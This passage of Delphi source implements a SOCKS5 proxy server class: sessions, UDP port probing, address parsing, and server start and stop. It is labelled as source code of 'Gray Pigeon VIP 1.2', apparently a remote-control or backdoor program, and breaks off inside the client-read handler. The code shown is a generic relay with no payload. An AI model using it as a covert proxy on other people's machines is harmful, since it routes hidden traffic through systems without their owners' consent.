socks5proxy.pas

灰鸽子VIP1.2经典源代码

unit Socks5Proxy;
{
Write By Wenjinshan.
}
interface

uses
  Windows, SysUtils, Classes, ExtCtrls, ScktComp, Forms,
  StdCtrls,winsock ,MYNMUDP,math;


const
   //MAXurl=255;
   VER=#5;
   IsServer=$40000000;
   DefaultPort=1080;
   StartPort=4000;
   
type
  PCharArray = ^TCharArray;
  TCharArray = array[0..32767] of Char;

  session_record=record
    Valid:boolean; //是否有效
    Close:boolean;
    step:integer;//连接步骤

    UdpClient:TMYNMUDP; //客户的udp
    UdpSite:TMYNMUDP; //网站的udp

    TcpSite:TClientSocket; //网站的tcp
    TcpClient:TCustomWinSocket; //客户的tcp

    ListenServer:TServerSocket; //Listen的服务器
    ListenOneThread:TCustomWinSocket;

    LastError:integer;
  end;

  TSocks5Proxy = class
  private
    ServerSocket1: TServerSocket;
    TimerRefresh: TTimer;
    NMUDP1: TMYNMUDP;
    FPort: Integer;
    Fuser: String;
    Fpass: String;
    
    function GetSock5Host(buf:pchar;var p:integer):string;
    procedure DataReceived(Sender: TComponent;
      NumberBytes: Integer; FromIP: String; Port: Integer);
    procedure FindMyPort(udp:TMYNMUDP;MyIP:string;var Start_Port:integer);

    procedure ServerSocket1ClientConnect(Sender: TObject;
      Socket: TCustomWinSocket);
    procedure ServerSocket1ClientDisconnect(Sender: TObject;
      Socket: TCustomWinSocket);
    procedure ServerSocket1ClientError(Sender: TObject;
      Socket: TCustomWinSocket; ErrorEvent: TErrorEvent;
      var ErrorCode: Integer);
    procedure ServerSocket1ClientRead(Sender: TObject;
      Socket: TCustomWinSocket);

    procedure ClientSocket1Connect(Sender: TObject;
      Socket: TCustomWinSocket);
    procedure ClientSocket1Disconnect(Sender: TObject;
      Socket: TCustomWinSocket);
    procedure ClientSocket1Error(Sender: TObject;
       Socket: TCustomWinSocket; ErrorEvent: TErrorEvent;
       var ErrorCode: Integer);
    procedure ClientSocket1Read(Sender: TObject;
       Socket: TCustomWinSocket);

    procedure TimerRefreshTimer(Sender: TObject);
    procedure NMUDP1DataReceived(Sender: TComponent; NumberBytes: Integer;
      FromIP: String; Port: Integer);
    procedure ListenServerClientConnect(Sender: TObject;
      Socket: TCustomWinSocket);
    procedure ListenServerClientDisconnect(Sender: TObject;
      Socket: TCustomWinSocket);
    procedure ListenServerClientError(Sender: TObject;
      Socket: TCustomWinSocket; ErrorEvent: TErrorEvent;
      var ErrorCode: Integer);
    procedure ListenServerClientRead(Sender: TObject;
      Socket: TCustomWinSocket);
    procedure SetPort(const Value: Integer);
    procedure SetUser(const Value: String);
    procedure SetPass(const Value: String);
    { Private declarations }
  public
    constructor Create;
    destructor Destroy; override;
    procedure StopServer;
    procedure StartServer;

    property User: String read FUser write SetUser;
    property Pass: String read FPass write SetPass;
    property Port: Integer read FPort write SetPort;
  end;

var
    session:array of session_record;
    LastPort:integer;  //最后一个使用的端口
implementation



function WordToS(w:word):string;
begin
   setlength(result,sizeof(word));
   pword(@result[1])^:=w;
end;

function LongWordToS(w:Longword):string;
begin
   setlength(result,sizeof(Longword));
   pLongword(@result[1])^:=w;
end;

function CharToAIISC(buf:pchar;len:integer):string;//把字符全用十六进制的"xx "的形式表示出来
var
   i:integer;
begin
  result:='';
  for i:=0 to len-1 do
  begin
     result:=result+format('%2.2X ',[ord(Buf[i])]);
  end;
end;

function CharToString(Buf:pchar;length:integer):string;//char转变成string
var
   s:string;
begin
   setlength(s,length);
   move(Buf[0],s[1],length); //不能用strcopy
   result:=s;
end;

procedure TSocks5Proxy.DataReceived(Sender: TComponent;
  NumberBytes: Integer; FromIP: String; Port: Integer);
var
   buf:array[0..3]of char;
begin
  if NumberBytes<>sizeof(buf) then exit;
  (Sender as TMYNMUDP).ReadBuffer(buf, NumberBytes);
  if pinteger(@buf)^=Port then (Sender as TMYNMUDP).tag:=1; //有效的
end;

procedure TSocks5Proxy.FindMyPort(udp:TMYNMUDP;MyIP:string;var Start_Port:integer);
var
   buf:array[0..3]of char;
   t:dword;
begin
      {下面搜索本机有效的udp端口}
      udp.Tag:=0; //无效的
      udp.RemoteHost:= MyIP; //自己发给自己
      udp.OnDataReceived:=DataReceived;

      udp.LocalPort:=4000;
      udp.RemotePort:=udp.LocalPort;
      pinteger(@buf)^:=udp.LocalPort;
      udp.SendBuffer(buf,sizeof(buf));
      t:=gettickcount;
      while (udp.tag=0)and(gettickcount-t<50)do
         application.ProcessMessages;

      while udp.tag=0 do //端口不合法，改变端口再发
      begin
         udp.LocalPort:=Start_Port;
         inc(Start_Port);
         if Start_Port=MAXWORD then Start_Port:=StartPort;
         udp.RemotePort:=udp.LocalPort;
         pinteger(@buf)^:=udp.LocalPort;
         udp.SendBuffer(buf,sizeof(buf));
         t:=gettickcount;
         while (udp.tag=0)and(gettickcount-t<50)do
            application.ProcessMessages;
      end;
end;

function TSocks5Proxy.GetSock5Host(buf:pchar;var p:integer):string;
var
   s:string;
   ip:longword;
begin
   result:='';
   case buf[p] of
   #1:begin
         ip:=Plongword(@buf[p+1])^;
         if ip<>0 then
            result:=string(inet_ntoa(Tinaddr(ip)));
         inc(p,5);
      end;
   #3:begin
         setlength(s,ord(buf[p+1]));
         move(buf[p+2],s[1],ord(buf[p+1]));
         result:=s;  //GetIP(s);
         inc(p,ord(buf[p+1])+2);
      end;
   end;
end;


constructor TSocks5Proxy.Create;
  procedure InitProxyServer;
  begin
    with ServerSocket1 do
    begin
      OnClientConnect := ServerSocket1ClientConnect;
      OnClientDisconnect := ServerSocket1ClientDisconnect;
      OnClientRead := ServerSocket1ClientRead;
      OnClientError :=ServerSocket1ClientError
    end;
  end;

  procedure InitLookupTimer;
  begin
    with TimerRefresh do
    begin
      Interval := 200;
      Enabled := False;
      OnTimer := TimerRefreshTimer;
    end;
  end;
begin
  LastPort:=StartPort;//最后一个使用的udp端口,可设为任意值
  ServerSocket1 := TServerSocket.Create(nil);
  InitProxyServer;
  TimerRefresh := TTimer.Create(nil);
  InitLookupTimer;
  NMUDP1:= TMYNMUDP.Create(nil);
end;

destructor TSocks5Proxy.Destroy;
begin
  TimerRefresh.Free;
  ServerSocket1.Free;
  NMUDP1.Free;
  inherited;
end;

procedure TSocks5Proxy.StopServer;
begin
  TimerRefresh.Enabled := False;
  ServerSocket1.Active := False;
end;

procedure TSocks5Proxy.StartServer;
begin
try
  ServerSocket1.Port := FPort;
  ServerSocket1.Active := True;
except
end;
end;

procedure TSocks5Proxy.SetPort(const Value: Integer);
begin
  if not ServerSocket1.Active then
  begin
    FPort := Value;
  end;
end;

procedure TSocks5Proxy.SetUser(const Value: String);
begin
    FUser := Value;
end;

procedure TSocks5Proxy.SetPass(const Value: String);
begin
    FPass := Value;
end;

procedure TSocks5Proxy.ServerSocket1ClientConnect(Sender: TObject;
  Socket: TCustomWinSocket);
var
   i,j:integer;
begin
   j:=-1;
   //从客户端，代理服务器，网站端关系记录数组中找一个休眠记录
   for i:=0 to length(session)-1 do
   begin
      if (not session[i].Valid)then
      begin
         j:=i;
         session[j].Valid:=true;
         session[j].close:=false;
         break;//找到后退出
      end;
   end;
   if j=-1 then //如果没有找到休眠记录，新建一个记录
   begin
      j:=length(session);
      setlength(session,j+1); //重新设置记录数量
      session[j].Valid:=true;
      session[j].close:=false;
   end;
//   session[j].ClientS:=socket; //客户端口
   socket.Data:=pointer(j);    //会话指针
   session[j].step:=0;//第0步
   session[j].UdpSite:=nil;
   session[j].UdpClient:=nil;
   session[j].TcpSite:=nil;
   session[j].TcpClient:=nil;
   session[j].ListenServer:=nil;
end;

procedure TSocks5Proxy.ServerSocket1ClientDisconnect(Sender: TObject;
  Socket: TCustomWinSocket);
var
   i:integer;
begin
   i:=integer(Socket.data);
   session[i].TcpClient:=nil;
   session[i].close:=true;
   if session[i].ListenServer<>nil then
      if session[i].ListenServer.Active then
         session[i].ListenServer.Active:=false;
   TimerRefresh.Enabled:=true;
end;

procedure TSocks5Proxy.ServerSocket1ClientError(Sender: TObject;
  Socket: TCustomWinSocket; ErrorEvent: TErrorEvent;
  var ErrorCode: Integer);
begin
   errorcode:=0;
   if Socket.Connected then Socket.close;
   ServerSocket1ClientDisconnect(Sender,Socket);
end;

procedure wait(ticks:dword);
var
   t:dword;
begin
   t:=gettickcount;
   while gettickcount-t<ticks do application.ProcessMessages;
end;

{客户发信息过来时}
procedure TSocks5Proxy.ServerSocket1ClientRead(Sender: TObject;
  Socket: TCustomWinSocket);
const
   MaxBuf=10240;
var
   i,p,ReceiveBufLength:integer;
   sendtext:string;
   ReceiveBuf:array[0..MaxBuf-1]of char;
   siteHost:string;          
   IP:string;
   user,pass:string;
begin
   i:=integer(Socket.data);//会话指针
   ReceiveBufLength:=min(MaxBuf,socket.ReceiveLength);
   socket.ReceiveBuf(ReceiveBuf, ReceiveBufLength);

   if (session[i].step=0) then
   begin